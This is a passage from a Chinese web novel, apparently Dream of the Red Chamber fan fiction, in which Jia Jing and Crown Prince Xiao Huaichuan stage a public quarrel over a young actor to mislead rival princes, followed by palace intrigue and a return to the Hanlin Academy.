皇甫玦见人彻底走了,松了口气,朝外走了几步。 贾政一言不发,带着贾敏也迈出了几步。 皇甫玦笑吟吟看着贾政,“我若是没猜错,你也是偷跑出来,想去看培元哥哥的吧?” 贾政紧绷着脸,否认道:“没有。” 皇甫玦抱臂,下巴朝荣国府院墙那边抬了抬,“不巧了,你刚刚钻狗洞出来,被小爷我看了个正着。” “那不是狗洞!”贾政下意识反驳。 “小古板……”皇甫玦撇了撇嘴。 贾政拉着贾敏径直朝东府后门走去,皇甫玦追上,“你打算从这个门进?” “我刚刚已经看过了,门锁死了,打不开。” 贾政没说话,他自己仔细看过,眉头紧锁,抿着唇不说话。 皇甫玦一拍他的肩膀,“至于这么苦大仇深吗?” “翻过去不就好了?” 贾政望着有他两日之高的墙,又看向还没他高的皇甫玦,“你翻得过去?” 皇甫玦一哽,他也就是过个嘴瘾,他要是能翻过去,此时也不在这儿了,早进去了。 贾政看着皇甫玦不自然的脸色,哼了一声。 “我知道怎么进去。” 贾敏扯了扯贾政的衣摆,语气得意。 “不会又是钻狗洞吧?”皇甫玦扯了扯嘴角。 贾政已经看见贾敏所指的地方了,确实是个洞,他转头看向皇甫玦,“你要是不钻,就自个人儿翻墙吧。”【你现在阅读的是魔蝎小说 moxiexs】 110-115 第111章 贾敬说完不等皇甫玦回话, 就先让贾敏钻了过去,自己也跟着钻了过去。 反正刚才他从荣国府钻出来被皇甫玦看见了,也没什么在乎的了。 皇甫珏再次看了眼墙头, 麻溜地跟在贾政身后钻了进去。 他弓着腰,还未直起身,便感觉有人站在他面前, 皇甫珏一抬头, 就对上贾敏粉雕玉琢的小脸蛋, 正笑嘻嘻地望着他。 “咦, 你额头蹭了一些灰。” 贾敏说着就掏出一块帕子,将皇甫珏额头上的灰尘擦去。 皇甫珏瞧着面前娇俏聪颖的小姑娘,不由得随着她笑了, 就连往日眉眼里夹着的张狂都淡了许多。 “多谢漂亮妹妹!” 皇甫珏伸手轻轻掐了掐贾敏腮间软肉, 刚摸上没一瞬,就被贾政一把拂开手。 “别动手动脚的。” “至于那么小气吗?咱们可是同窗,你妹妹不就是我妹妹?” 皇甫珏也不在意,对着贾敏笑得愈发灿烂, 他这人就爱看脸。 “是吧,漂亮妹妹?” 贾敏眼眸亮亮, 她喜欢长得好看的人。 两人一拍即合。 贾政此时也没多少心思跟皇甫珏斗嘴, 牵起贾敏, 直接抬腿朝贾敬房内走去, 皇甫珏连忙跟上, 他可不知道贾敬住在哪个院子。 “你们府不让你来看望培元哥哥?” 贾政一言不发, 皇甫珏却憋不住话。 “没有的事。”贾政直接反驳。 皇甫珏撇嘴, “他们要准你来, 你能爬狗洞?” 别以为他不知道, 如今很大一部分人是在看宁国府的乐子,而剩下的那一部分人,生怕被牵连,恨不得躲得远远的,对此讳莫如深。 这些人趋利避害、落井下石的德性,皇甫珏一清二楚,只是没想到,荣国荣作为贾敬的族亲,竟然也这般。 这样想着,皇甫珏看向贾政的目光更加友善了,还算是有位有良心的。 皇甫珏对于贾敬这次的事情,并没有什么看法,人非草木,孰能无情?不过是喜欢的人同是男子,又有何错? 贾政抿了抿唇,问出的话也显得生硬,“那你呢?” “你那位表兄也不允许你来探望?” 皇甫珏的表兄程一序与敬二哥哥是翰林院同僚,素日里不是与敬二哥哥关系很是要好吗? 怎得他皇甫珏和他一样爬了狗洞。 贾政说这话,心中是堵着些气的,至于气从何来……许是被皇甫珏说中了其中缘由,他也气愤父亲母亲的做法,但他为人子,指摘不得半分。 皇甫珏自然听出了贾政话中的阴阳怪气,冷哼了一声,“他是他,我是我,我何须和他相其并论。” “我想做什么也挨不着他。” 贾政这么一听皇甫珏这么说,竟然也对他多了几分同病相怜之感。 其实这也是皇甫珏错怪了程一序,一来他不知道程一序先前就来探望过贾敬,二来,皇甫珏提出要来探望贾敬时,程一序只是说,宁国府如今有些乱,还是过段时日再去,莫要添乱。 三人走着,路上也碰见过宁国府的下人,皆神色凝重,行事匆匆,根本顾不上贾政皇甫珏几人。 忽的,不远方传来嘈杂声,皇甫珏和贾政对视一眼,手脚轻了几分,朝声音传来的地方走去。 只见偌大的院中明显分为了两处,一处是梵音袅袅的佛家道场,僧侣身披袈裟,皆手持着念珠,口诵佛经,低沉悠扬。 一处是筑坛布斗的道家法事,道长真人们身着飘逸道袍,手执桃木剑,脚踏罡步,施法念咒。 一佛一道,泾渭分明。 站在院中角落的贾政,看着眼前的这一幕,鼻间充斥着不断涌入的浓郁檀香,贾政的心不禁跟着沉了沉,压上了巨石,令人喘不过气来。 敬二哥哥难道真的…… 贾政脸色难看,担忧和恐惧掩不住地爬上眼底。 贾敏攥着贾政的手愈发紧了,贾政很快回过神来,低头看向贾敏,见她眼眶红红,脸色发白,连忙问道: “敏儿怎么了?” 贾敏声音带着哭腔,看向两处法事道场,是想看又不敢看,眼神闪烁躲避, “敏儿怕……” 她年纪小,就算陪史家老太君和史氏一起去寺庙礼过佛,可这样庄严的法事道场是鲜少见过的。 加之宁国府上下仆人神色皆凝重,小孩心思敏感,难免会受其影响,心生恐惧。 贾政将贾敏抱起,轻声哄道:“别怕,这些大师真人都是在为敬二哥哥祈福呢。” “他们一祈福,敬二哥哥就好了。” 贾政说话时的声音都忍不住的颤抖。 “嗯!”贾敏用力点着头,“给敬二哥哥祈福!” 皇甫珏此时也没了以往的嬉皮笑脸,换头看向贾政,“走,我们去看看培元哥哥。” 他转过身的一瞬间,一句话飘来,“培元哥哥一定会没事的。” 皇甫珏的这句话不知是在安慰贾政和贾敏,还是在提醒他自己。 两处法事道场就设在贾敬院落的不远处,绕过去没几步就到了。 许是为了法事,院子大门敞开。贾政和皇甫珏四处望了望,见没什么,这才快速溜了进去,刚走几步,就听见, “政哥儿,你怎么跑这儿来了?” 贾政的身子一滞,抱着贾敏僵硬地转过身去,“大嫂子。” 来人正是史云棠,她正诧异地望着贾政。 “嫂嫂!”贾敏更是直接朝史云棠伸出了手,相较于贾政,史云棠这位表姐兼大嫂,更让贾敏有亲近之意。 史云棠身边的大丫鬟立刻从贾政手中抱过贾敏。 “我……我来看望敬二哥哥。”贾政稍稍垂下头,底气不足,透露着心虚。 他在家中一直很是听话,循规蹈矩,今日之事已然出格。 史云棠只是深深望了贾政一眼,没接他的话,目光落在了贾政一旁的皇甫珏身上。 “这位是……皇甫小公子吧。” 史云棠沉吟片刻,不等皇甫珏介绍,就认出了这位先前来府中赴宴的皇甫珏。 皇甫珏也顾不上被主家发现的尴尬,连忙躬身作揖行礼。 “我也是来、来看望培元哥哥……” 史云棠叹了口气,“有你们挂念着他,是阿元的福气,阿元若是知道,定会高兴。” “只是今日布了法事道场,他那里进不得,恐会影响了祈福道场,你们随我去外院吧。” 一听他们进入或许会破了贾敬的祈福道场,皇甫珏和贾政瞬间不坚持了。 只是他们刚到了前院,就见素雪哭喊着闯了进来。 史云棠敛眉,呵斥道:“何事慌慌张张!” 素雪直接腿软跌倒在地,“太太,不好了,出事了!” “有人闯了二爷的院子,冲撞了二爷的道场!” 贾政和皇甫珏脸色一变,心下当即就慌了,难道是他们刚刚的所作所为冲撞了道场? 史云棠闻言也是脚步一个踉跄,脸色骤然发白,声音尖利,“是何人所为!” “是崇雅堂的……水月!” 众人皆是一愣,这不就是传闻里贾敬爱的那个小戏子吗? 第112章 史云棠怒不可竭, “唰”得站起身。 众人疾步匆匆赶去,就见贾敬院子门口闹哄哄一片。 “你这个狐媚丧门星,勾得我家二爷惹了盛怒被罚, 危在旦夕,如今竟还敢在二爷的祈福道场作乱!” 贾敬院中的几个下人正拉扯着一个人,阿寿更是破口大骂。 “小的听闻二爷病重, 只是想担心二爷, 想见二爷一面……” 被拉着的那名少年, 语气里满是委屈, 他拼命挣扎哭喊着。 阿寿见史云棠到来,手上忽的一个用力,将人推到了史云棠的面前。 水月被阿寿猛地一推, 一个踉跄栽倒在地。 阿寿:“太太, 就是此人在二爷的祈福道场捣乱!” 史云棠一双杏眸定定望着地上趴着的那道纤细身影,满脸冷意。 “你是何人?” 史云棠怎么会不知道他是谁呢? 如今全京城谁人不知道,宁国府贾二爷迷恋的那位小戏子名叫水月,形貌酷似他师兄青老板。 这也是齐王萧淮洵与贾敬起冲突之处。也是那日之后, 全京城人都知晓,崇雅堂的台柱子青老板, 是齐王萧淮洵看中的人。 水月也未起身, 匍匐在地上, 声音颤颤巍巍, 纤弱的身躯显得格外瘦小, 令人怜惜。 “小、小的名叫水月……” 水月话未说完, 史云棠直接移开目光, 抬手振袖, 示意小厮将人拉出去。 “二爷的祈福法事至关重要, 任何人都不得破坏祈福道场,轰出去!” 就在两位小厮要挟着水月出去时,忽然一道声音插入, “夫人息怒!” 史云闻声看去,见到人时,她不由得眯起眼。 她常出入各府见的应酬宴席,戏自然也没少听,崇雅堂的名角青老板,她当然认得。 青老板作揖,态度毕恭毕敬,开口诚恳, “夫人,在下这位弟弟也是担忧心切,并非有意冲撞,还请夫人见谅。” 水月也从先前的趴着变成了跪着,用力朝史云棠磕了三个头, “夫人,二爷对水月一片真心,水月又怎么可能破坏二爷的祈祷道场?” “水月只是想见二爷一面……” “求夫人开天恩,让水月见二爷一面吧!” 水月声音凄厉,声泪俱下,若是史云棠平日里见这一幕,不免动容。 可因这件事,让她的弟弟现在还躺在床上生死未卜,史云棠只觉得水月这做派,厌恶作呕,她嫌恶地瞥了水月一眼,随后目光冰冷地望向青老板, “你们当宁国府是什么地方?” 青老板张了张嘴,还想说什么,就见一名小厮匆匆前来,嘴上大声禀告: “太太,太子殿下驾临。” 史云棠愣了一会儿,没想到萧淮川会来。 她深呼吸压下心中怒意,努力保持平静沉稳,迎了上去。 “恭迎太子殿下。” 萧淮川嗯了一声,史云棠起身,声音冷硬, “不知道太子殿下驾临有何贵干?” “本府今日不便招待贵客。” 仪态挑不出任何问题,但待萧淮川的态度却相差甚远。 毕竟阿元是因为此人,才会如此,倘若他不是太子,连宁国府的门,史云棠都不会让他进。 萧淮川被史云棠这么一问,脸色僵了僵,他身边跟着忍冬连忙朝史云棠赔笑道: “夫人,殿下是特得来探望二爷的。” 他说着,身后跟的一排小太监上前,手上皆端着托盘,随意扫一眼,肉眼可见的珍贵药材,皆不是凡品。 史云棠面色不改,不卑不亢,“殿下的心意臣妇心领了,只是臣妇弟弟如今危在旦夕,恐无心招待殿下,还请殿下回吧。” 她这是毫不留情的给萧淮川下了逐客令。 一直站在史云棠身后,默默无闻的皇甫玦暗自撇了撇嘴。 萧淮川脸色阴沉了一瞬,目光下意识地朝院内眺望。 忍冬自然看出了史云棠的迁怒,抬手擦了擦额头冒出的冷汗,余光忽的瞥见被人挟持住的水月,连忙打破僵局问道: “方才进府时就听见这里闹了不小的动静,可是夫人遇见了什么棘手的事?” 此话不假,刚刚忍冬随萧淮川走在半路上,就远远听见哭喊声和史云棠的呵斥声,只是离得远未听清是何事。 忍冬一开口,萧淮川仿佛这才注意到水月那里的状况,目光落在水月身上的那一瞬间,萧淮川眼底闪过一丝阴鸷。 史云棠从忍冬一开口时就注意着萧淮川,当看到萧淮川那一瞬间的眼神变化时,史云棠心沉了沉。 他知道水月的身份! 萧淮川居高临下地望着挣扎摊在地上的水月,那双深邃的凤眸漆黑一片, “你就是令阿元做出荒唐事,犯下错处的罪魁祸首。” 他的声音不大,可上位者的威压却让水月瑟瑟发抖,颤颤不敢直起腰来。 “带坏了阿元。” “忍冬,处置了。” 萧淮川说罢,大手一挥,欲转身进去贾敬的院子。 忍冬身后跟着的太监侍从们得令后,立刻上前去抓水月。 水月就如一只刚出生的小鸡仔一般被他们钳制住,毫无挣脱之力。 他瘫倒在地,凄厉吼叫: “水月无错,二爷更是无错!” “水月与二爷心心相许,何错之有!” 此话一出,全场静默,萧淮川的脚步也因此停顿,缓缓转身。 他负手而立,稍稍垂眼。 不远处被扣着狼狈不堪的水月,于萧淮川眼中不过是一粒尘埃蜉蝣,微不足道。 萧淮川哂笑,“心心相许?” “不过是个玩物。” 随着萧淮川话音落下,忍冬一挥手,就有人堵住了水月尖叫的嘴,拖着就要将人丢出去处置了。 水月脸如金纸,水润的眼睛里满是对死亡的恐惧,紧接着眼睛一翻白,直接晕了过去。 “住、住手……” 一道虚弱如蚊蝇的声音,却让所有人都怔住。 萧淮川骤然转身。 “阿元!” “敬二哥哥!” “培元哥哥!” 几人的呼声重叠在一起,声音未落,人已经都到了贾敬身边。 只一人仅动了半步,就顿住了脚,停在了原地。 贾敬由阿禄背着,他背后全是伤,只能如此。 “阿元,你醒了!”史云棠红着眼睛站在贾敬身旁,眼里有激动有心疼。 “皇天保佑,祈福道场显灵了,阿元醒了。”史云棠双手合十,嘴里不停念叨。 皇甫玦也激动地向前倾,却被一旁的贾政一把拉着,以防万一他的不小心,碰撞到了贾敬。 贾敬唇色发白,以往眼波流转、神采奕奕的桃花眼此时也因虚弱疼痛半睁半合着。 他仿佛忍受着巨大疼痛,额头上的冷汗浸湿了鬓发,粘在脸颊两旁。 “阿元,你怎么出来了,快回屋里。” 史云棠很快反应过来,催促贾敬回去。 贾敬却未应答,只是朝不远处看去,那里站着的,正是方才未走过来的萧淮川。 两人对视,一言不发。 贾敬的眼睛稍稍移开,落在水月身上,萧淮川神情陡然一变。 下一瞬,贾敬干涩的唇动了动。 “淮哥……” “放、放他走吧。” 他的声音颤抖,说话极为费力,每说一个字都要大喘气。 萧淮川脸色铁青,紧紧盯着贾敬一张一合的嘴,“他诱你走上歧途,不能留!” “歧途?” “何须他诱?”贾敬急喘着,“我不过是喜好男子,就是歧途?” 萧淮川背着手紧紧攥着,“这次还没让你长教训吗!” “此举有违人伦!有违朝纲!” 贾敬还想说什么,萧淮川直接打断, “你是要忤逆孤吗!” 这话如重锤一般敲在贾敬的头上,原本就发白的唇色如今已经几近透明。 始料未及。 “殿下息怒!” 呼啦啦跪倒一片。 萧淮川说完这句话,眼底就滑过一丝懊恼,他下意识迈出半步,紧接着因为贾敬的举动而再次停顿。 “阿元,你不能乱动,伤口会裂开……”史云棠此时也注意到了,惊呼出声。 只见贾敬不顾一旁史云棠的阻拦,强撑着从阿禄的背上下来,径直跪地。 与其说跪,不如说是趴,一切靠阿禄搀扶着才未倒地。 贾敬阖了阖眼,声音干涩,“如此,是微臣之错,一切后果,由微臣一人承担。” “他不过是个小戏子。” “请,”贾敬说着顿了顿,深吸一口气,才道,“请太子殿下开恩,饶了他。” 贾敬的哀求,非但没让萧淮川消气,反而因为他的忤逆和违背,不再亲近的称呼,怒火中烧。 萧淮川俯视望着一身狼狈的贾敬,哪里有往常公府公子的气派,冷笑道: “你居然为了袒护这么一个玩物,要违抗孤的命令!” “请殿下开恩!”贾敬固执地再次请求。 局面僵持,其余众人皆低着头,大气都不敢喘一声。 “你……” 萧淮川刚开口,贾敬背后一抹扎眼的红闪入萧淮川的眼中,他的瞳孔不由得一缩。 伤口崩开了。 贾敬的脊背处渗出血,衣服上渗出的血渍如冬日红梅般,一朵朵绽开。 他身子晃着,阿禄不得不加大力气,才能让贾敬不向前栽去。 可即便如此,贾敬还在坚持。 “好,很好!”萧淮川气极反笑,“你好自为之!” 说完萧淮川猛地一甩衣袖,大步离去。 忍冬看了贾敬一眼,准备追上自家主子。 擒着水月的侍卫有些茫然,“忍总管,这人……” 忍冬一甩手,“别管了,回宫。” 侍卫听令,将人一松,就立刻跟着撤了。 “阿元!” “敬二哥哥!” “培元哥哥!” 贾政还有皇甫玦惊呼出声,史云棠伸手去扶,却没扶住。 贾敬如一片落叶倒下。 趴下去时,嘴角那抹若有若无的笑意,无人知晓。 【作者有话要说】 嘿嘿嘿虽然是这对戏精夫夫演的,但是写的好带感呀![亲亲] 第113章 “哈哈哈哈……” 齐王府书房内传来一片笑声。 萧淮泽望着萧淮洵笑得前仰后俯, 扯了扯嘴角, “二哥心中的气也消得差不多了吧。” 萧淮洵乜了萧淮泽一眼,慢悠悠道:“我心中可没有什么气。” 实则他心中因贾敬暴露, 被天丰帝罚禁足,心中的气憋了好几天了。 萧淮川和贾培元因那个小戏子彻底决裂,萧淮洵心中终于是畅快了。 萧淮泽看破不说破, 也不拆穿萧淮洵的话。 “本王就知道, 萧淮川为了自身的羽翼, 定会和贾培元撕破脸。”萧淮洵一副一切如他所料的神情, “还要道貌岸然的将错处按在贾培元的头上,保全了他自己的名声。” 萧淮泽哼笑一声,感慨道:“然而这样不留情面的做法, 寒了宁国府等一众老勋贵的心呐。” 京城这群老勋贵们, 一个个都是出了名的效忠天丰帝,和皇子们之间关系本就不亲厚。 要论,可能只有萧淮川这位储君,要更得他们认可一些。 而眼下, 萧淮川为了在天丰帝面前保全名声,不惜和从小照看长大的贾敬撕破脸, 透露出的冷酷无情, 相信那些勋贵们自然看得清。 萧淮洵和萧淮泽的目的也就达到了。 萧淮泽:“太医呈来的医案, 本王看了, 还以为贾培元真要折在那伤上……” “可惜了……他命大, 居然醒来了。” 萧淮洵嗤笑一声, 并未反驳。 萧淮泽忽的恭维了萧淮洵一句, “到底是二哥有手段, 连宁国府里发生的任何事都知晓的一清二楚, 就仿佛是亲眼所见一般。” 萧淮泽不动声色的试探,“看来那里,有二哥您的眼线啊。” “藏得这么深,果然了不得。” 萧淮洵嘴边的笑浅了几分,定定看了萧淮泽一会儿,似笑非笑道: “有些事情,不必问得这般透。” 萧淮泽也跟着笑了,只是眼底藏着一抹微不可察的深意。 “既然如此,可以再告诉你一件事。”萧淮洵得意地朝萧淮泽抬了抬眉。 “父皇听闻贾培元因祈福道场而苏醒,对此事极为有兴趣。” 萧淮泽闻言,眼睛闪了闪,“二哥信吗?” 萧淮洵随意地摇着手中的扇子,“信不信的……就看有没有人愿意相信了。” “就看有没有人愿意相信……”萧淮泽重复着这句话,陷入沉思。 萧淮洵没有注意到萧淮泽这一丝异样,“现在可以放心了,后面的一切就按照之前谋划的来。” · 贾敬“晕倒”后,被史云棠安排人扶回了室内,她又以要给贾敬清理伤口为名,将贾政和皇甫玦劝走。 贾政一步三回头,看向贾敬的屋子满眼担忧,反而是皇甫玦走的那叫一个干脆。 “好了,别看了,那边有大夫呢。”皇甫玦用帕子擦了擦手,将那抹沾了红色的帕子揣回怀里,便拉着贾政朝外走。 贾政察觉有些不对劲,思忖着看向皇甫玦,“你不担心?” 皇甫玦眨了眨眼睛,“怎么可能不担心!” “不担心培元哥哥,我能今日钻狗洞进来?” 贾政拧眉盯着皇甫玦看,“那你……” 他的话还没说完,就被皇甫玦打断, “原先培元哥哥是陷入昏迷醒不来,我自然担忧万分,如今祈福道场显灵,培元哥哥醒了,那便该让大夫前去照看,我就不留在此处添麻烦了。” 皇甫玦的一席话,就连贾政都觉得说的在理,隐去心中那一丝怪异,抿唇跟着皇甫玦朝前厅走去。 前厅里,一位大丫鬟正陪着贾敏玩,贾敏一见贾政来了,连忙小跑到贾政面前,焦急问着, “敬二哥哥可是好了?” 方才素雪来禀告史云棠贾敬院子出了差池时,史云棠特地留了个大丫鬟在此陪贾敏,未允许她跟去。 贾敏虽聪慧,却也只是个六岁女童,贾政并不愿与她说太多东西,摸了摸她的脑袋,轻声道: “嗯,敬二哥哥已经醒了。” “哇,真是太好了!”贾敏一听,高兴的拍起手来。 皇甫玦在一旁看着贾敏的可爱模样,手痒痒,直接一伸手臂,将贾敏抱了起来。 贾敏顺势搂住皇甫玦的脖子,两人视线齐平,咯咯笑着。 贾政倒是在一旁看的心惊肉跳,皇甫玦的身板比他还瘦削,生怕皇甫玦将自家妹妹摔了,一直在旁边念叨, “慢些,当心些。” 又遭到皇甫玦一记“小古板”的调侃。 “漂亮哥哥,你真香!”贾敏和皇甫玦越玩越熟络,直接埋在他胸前。 史云棠来时就看见这一幕,没多说什么。 倒是贾政关心贾敬,问了一大串,史云棠也都答复,接着又关心起贾政的学业,问起贾政过些天去国子监读书的事。 史云棠又像是想起什么,转头看向皇甫玦,“我记得皇甫公子也是要去国子监读书?” 皇甫玦点头,“是!” “您唤我阿玦就好。” 史云棠笑道,“那真是缘分,和咱们政哥儿是同窗了。” 之后史云棠本想留几人吃饭,然而荣国府那边来寻人,贾政和贾敏对视一眼,心道不妙。 史云棠自然看出这两小孩担忧的事,“我派人送你们回去,你们母亲那里,我来说。” 贾政和贾敏这才放心回去,走之前,贾政还别扭的跟皇甫玦道别, “国子监见。” 皇甫玦昂着下巴,“到时候,不见不散。” 待贾政贾敏走后,皇甫玦一转头就对上史云棠沉静的目光,不由得有些心里泛毛。 史云棠盯着皇甫玦看了好一阵,嘴边的笑意更深了几分,温声道:“时辰不早了,阿玦留下陪我用个饭吧,待会儿我再派人送你回去。” 皇甫玦面露纠结,他本不想留下用饭,但一想到待会儿史云棠可以派人送他回去,有应付家里人的借口,旋即就应承下来。 · 贾敬的院子门口此时是好几人把守,是史云棠留下的人,而屋内门窗紧闭。 素雪悄然进入贾敬的房内,对着随意坐在春凳上的贾敬禀告, “二爷,阿寿已经将青老板和水月一起送回崇德堂了。” “道观的真人和寺庙的法师也都被太太差人送走了。” 贾敬捏了捏额角,“青老板走时,和那人见面了吗?” 素雪点头,“按照您的吩咐,奴婢将那净尘法师引至无人处,与青老板会了面。” “至于说了什么,奴婢不清楚。” 贾敬嗯了一声,“不妨碍,不需要知道他们说了什么。” “对了,阿玦走了吗?”贾敬又想起偷跑来见自己的皇甫玦,有些头疼。 幸好皇甫玦今日来没出什么岔子。 素雪:“太太留皇甫少爷吃晚饭呢。” 贾敬听到是史云棠在招待皇甫玦,也松了口气。 今日这出戏,也算是如愿落幕了,接下来他会有很长一段时间的安生日子了。 这一放松下来,贾敬是身心俱疲,也终于注意到自己背后传来的腥臭味,瞬间嫌弃地皱了皱鼻子, “这什么血?味道真冲。” 素雪见状笑了,忙不迭得上前帮贾敬先把最外面的外袍褪去,“是鸡血呢,瞧着最像人血了。” “这你也知道?” 贾敬是不清楚这些。 素雪:“阿寿懂这些,他安排的。” 贾敬点头,指了指素雪手中拿着被鸡血洇开成一片血色的衣服,“你等会把这些处理干净,拿去烧了。” “诶,奴婢都明白。”素雪点头应着,“热水奴婢也让人提前备好,奴婢让人抬进来。” 没一会儿,贾敬里间放置的浴桶就放满了热水,热气腾腾的雾气弥漫开来,屏风遮挡,那一块儿很开就氤氲了一层雾气。 贾敬命人都退下后,迅速褪下衣物,入了浴桶。 温热的水包裹着贾敬的身体,疏通着筋脉,他舒服地闭上眼睛,懒洋洋靠着,仿佛是卸下了千斤重石,长长呼出一口气。 “吱呀。”一声门响,有水声的遮掩,贾敬并未听见。 萧淮川脚步轻盈,悄然进来。当听到“哗啦”水声,和那屏风后不断冒出的热气,以及那隐隐约约透露出的人影。 他愣怔了一会儿,才意识到屏风后是贾敬在洗澡,当即想要出去,又觉得不妥,转身坐下。 不断有水声传来,萧淮川自然放于膝上的手下意识的蜷缩几下,脑海中忽然闪过贾敬那莹白脖颈与肩头,水珠顺着脖颈留下,积攒在稍稍凹陷的锁骨处,成一小水窝,再向下…… 萧淮川咽了咽干涩发痒的喉咙,顺手拎过一旁的茶壶就倒了一杯凉茶,径直灌下。 贾敬听到动静,以为是下人进来添水。 他靠着浴桶,双臂张开放于桶壁之上,声音慵懒, “先不急着添水,来帮把后背的血渍洗干净。” 刚刚贾敬自己也洗了好一会儿,也不知道是不是他的错觉,总觉得没有洗干净。 过了一会儿,才有脚步走近,贾敬半阖着眼,未在意,只是稍稍坐直了身子,脊背与桶隔开些距离,方便擦洗。 一只骨节分明的手拿起一旁的干帕子,浸入水中,瞬间湿润。 湿帕子小心擦在那脊背上,另一只手悬空犹豫了一瞬,收回落在那肩头的目光,最终只是将手搭在了浴桶边。 “用些力气,擦干净了。” 贾敬忽然开口,让拿执帕子的手骤然一抖,再落下时,力道如贾敬吩咐,大了几分,也不会让贾敬觉得不适。 萧淮川一点点将贾敬背后擦过,温热的指腹时不时碰触擦过那细腻光滑的脊背,指尖带着难以言说的眷恋。 那大片的白,以及贾敬时不时动一下,露出的那一抹红,都叫萧淮川看的眼热,他颤颤眼睫,垂下眼,只是看着泛着涟漪的水面。 而帕子上沾上的少许血色,也让萧淮川的思绪飘远。 先前虽是那是他和贾敬演的一出戏,但一想到贾敬一身血迹模样和自己呛声,还是为了另外一个人…… “嘶……”力道忽的有所变化,贾敬吸了口气,他微微睁开眼,旋即转头看去,对上那双他熟悉的凤眸,眼里闪过诧异, “淮哥,怎么是你?” 萧淮川回过神,扬了扬手中的帕子,“为二爷擦背呢。” 贾敬挑眉,还要说什么,刚转了转身子,被萧萧淮川一把按住肩头。 “别动,还有一处未擦干净。” 萧淮川慢慢擦着,贾敬也不急,反而和萧淮川聊起天, “淮哥今日演的可真好,那冷脸,那气势,我看得都觉得发怵。” “还是咱们二爷教得好。”萧淮川俯身,从贾敬身后凑到他耳边,轻声说着,语气中带着几分揶揄。 贾敬也不谦虚,笑吟吟,水汽让他的面容更加朦胧柔和,“他们此时可能正高兴呢。” “你我决裂,他们才会放心大胆的去进行他们所谋划的一切。” “嗯。”萧淮川应了声。 贾敬:“他们看重的也不是我,他们看重的,是我身后所象征的京城老勋贵们,觉得你此番举动,会让那些人动摇选择。” 萧淮川唇微微勾起,带着些讽刺,“他们倒是天真。” “无论是当年跟着皇爷爷起义的勋贵们,还是圣上当年登基时提拔上来的一批勋贵,都不是皇子可以染指的。” 这些人可以说是天丰帝的心腹之臣,岂是年轻皇子就能轻易拉拢的? 就算这些人为了家族和子孙后代着想,有什么心思想法,那也都是背地里谋划,面上都是对天丰帝,忠心耿耿。 萧淮川:“不过经此一事,拉远了我和这些勋贵的距离,圣上倒是能对我放心许多,我做事也会容易许多。” 贾敬手指轻轻在木桶上敲着,“你说,萧淮洵和萧淮泽这次真的会信吗?” “会。” 萧淮川的语气平淡,却带着不容置疑的坚定。 贾敬似是察觉到了什么,眼皮跟着跳了跳,反问,“他们这般笃定相信,我身边有他们的眼线?” “是谁?” “你身边没有他们的眼线。”萧淮川否认了贾敬的猜测。 “那……”贾敬蹙眉。 萧淮川面不改色,手上动作如常,“是我身边有。” “什么?你身边有!” 贾敬惊得一下站起身,水花四溅,不少都溅到了萧淮川身上。 “是什么人?你处理了吗?危不危险?” 从热水中忽然冒出,让贾敬不由得打了个冷颤,不过此时他已经顾不得上这些,只是一个劲的询问萧淮川。 “放心。”萧淮川将贾敬按回水里,“快坐回去,别着了凉。” 贾敬顺着萧淮川的力道坐回浴桶,嘴上却还道:“他们在你身边布了眼线,我怎么能放心?” 萧淮川:“我既然知晓他们的身份,又敢将人放在身边,自然是已经想好怎么应付他们了。” “必要时候,这种眼线,也可以为我们所用。” 比如这次,就完美的利用这些人,来传递可以迷惑萧淮洵他们的信息。 贾敬也听出了萧淮川话中的意思,方才因担心萧淮川而大乱的心也静下来几分。 下一瞬,贾敬手指紧紧扣在浴桶的边缘,用力至骨节发白。 上一世,萧淮川身边是不是也有萧淮洵等人安插的眼线? 那么上一世的萧淮川,是否察觉到这一切,是否发现了这些人? 若是他没发现,这些眼线和齐王梁王他们里应外合陷害他…… 贾敬抿了抿唇,转头看向萧淮川,有些艰难的开口, “淮哥是什么时候察觉那些眼线的身份?” “嗯?”萧淮川似是没察觉到贾敬的异样,他将手中的帕子拧干,“很早了。” 很早…… 真的吗? 第114章 贾敬的“伤”足足养了一个半月, 这一个月里发生了许多事情。 贾政和皇甫玦已经去国子监读书,萧淮川的东宫修葺也已经动工。贾敷也寄了几封信给贾敬,最新的一封信是告知贾敬, 他如今已经到达了闽关,与东平郡王汇合,正处理闽关的事务。 除了那封信, 贾敷还为贾敬寄了另外一件东西, 这是先前贾敬所托。 而养伤期间, 贾敬也没闲着, 毕竟方海峰方大人都把公务给他送到了家中。 贾敬面上也彻底与萧淮川没了来往,不过天丰帝倒是为了安抚宁国府,也为了做给其余勋贵们看, 恩赐了不少东西给贾敬, 特许伤好了再去当值。 待贾敬回到翰林院当值时,已经正值初夏,京中多数人已经换上了薄衫,贾敬穿过翰林院官署, 到达公房时,额头已经起了一层汗。 “诶?培元!你来当值了?” 郑春就坐在靠近门口的角落, 是公房里第一个发现贾敬来当值的人。 他这么一喊, 宋子虚和薛琼也瞬间看了过来, 一晃眼的功夫, 就到了贾敬跟前。 宋子虚将贾敬上下打量着, 很是紧张, “培元, 你的伤都养好了?” “嗯, 好了。” 宋子虚:“培元这次是吃了大苦头了, 都瘦了一圈。” 贾敬心虚地摸了摸脸,实不相瞒,他近些日子在家中,心宽体胖,都胖了! 尤其是近日换上前一年的夏装,素雪都说衣服腰际处有些窄,还特地叮嘱今年做春装的绣娘们放些尺寸。 “哈哈……” 薛琼在一旁笑出了声,贾敬下意识看去,正对上薛琼有些揶揄的眼神,摸脸的手僵了僵。 “别站门口了,进去吧。” 就门口到贾敬桌案的这几步路,宋子虚都牢牢盯着贾敬,生怕他哪里磕碰了。 贾敬心中透着暖意,又有些愧疚,“子虚兄,我真的好全了。” 宋子虚摇着头,正色道:“俗话说伤筋动骨一百天,培元你可要好生注意。” “好。”贾敬无奈,只好点头应是。 身后的阿禄将贾敬在家中整理好的书籍放好,贾敬摆手,“阿禄,你先回去吧,晚上下值来接我。” “是,二爷。” 贾敬刚要坐下。 “培元!小心你的屁股!” 宋子虚这么一吼,又是让贾敬身体一滞,其余人的目光都看了过来。 贾敬扯了扯僵硬的嘴角,一字一顿道: “子虚兄,我、会、注、意。” 在宋子虚一眨不眨的目光下,贾敬小心再小心地坐下,屁股沾上凳子的那一瞬间,贾敬自己都松了口气。 “嗯?程兄还没来?” 贾敬看了看,没看见程一序的身影。 “他啊,自从他家阿玦要去国子监读书,他每日早晨都是先送阿玦去国子监,再来翰林院。”薛琼解释。 贾敬闻言单挑了下眉,没想到程一序还天天送皇甫玦去国子监,他这表兄当得……还真是用心。 “他要是耽误了上值的时辰,方大人不说他?” 宋子虚连忙道:“他可会卡时辰了。” 说曹操曹操到,程一序下一瞬就出现在了贾敬桌案前。 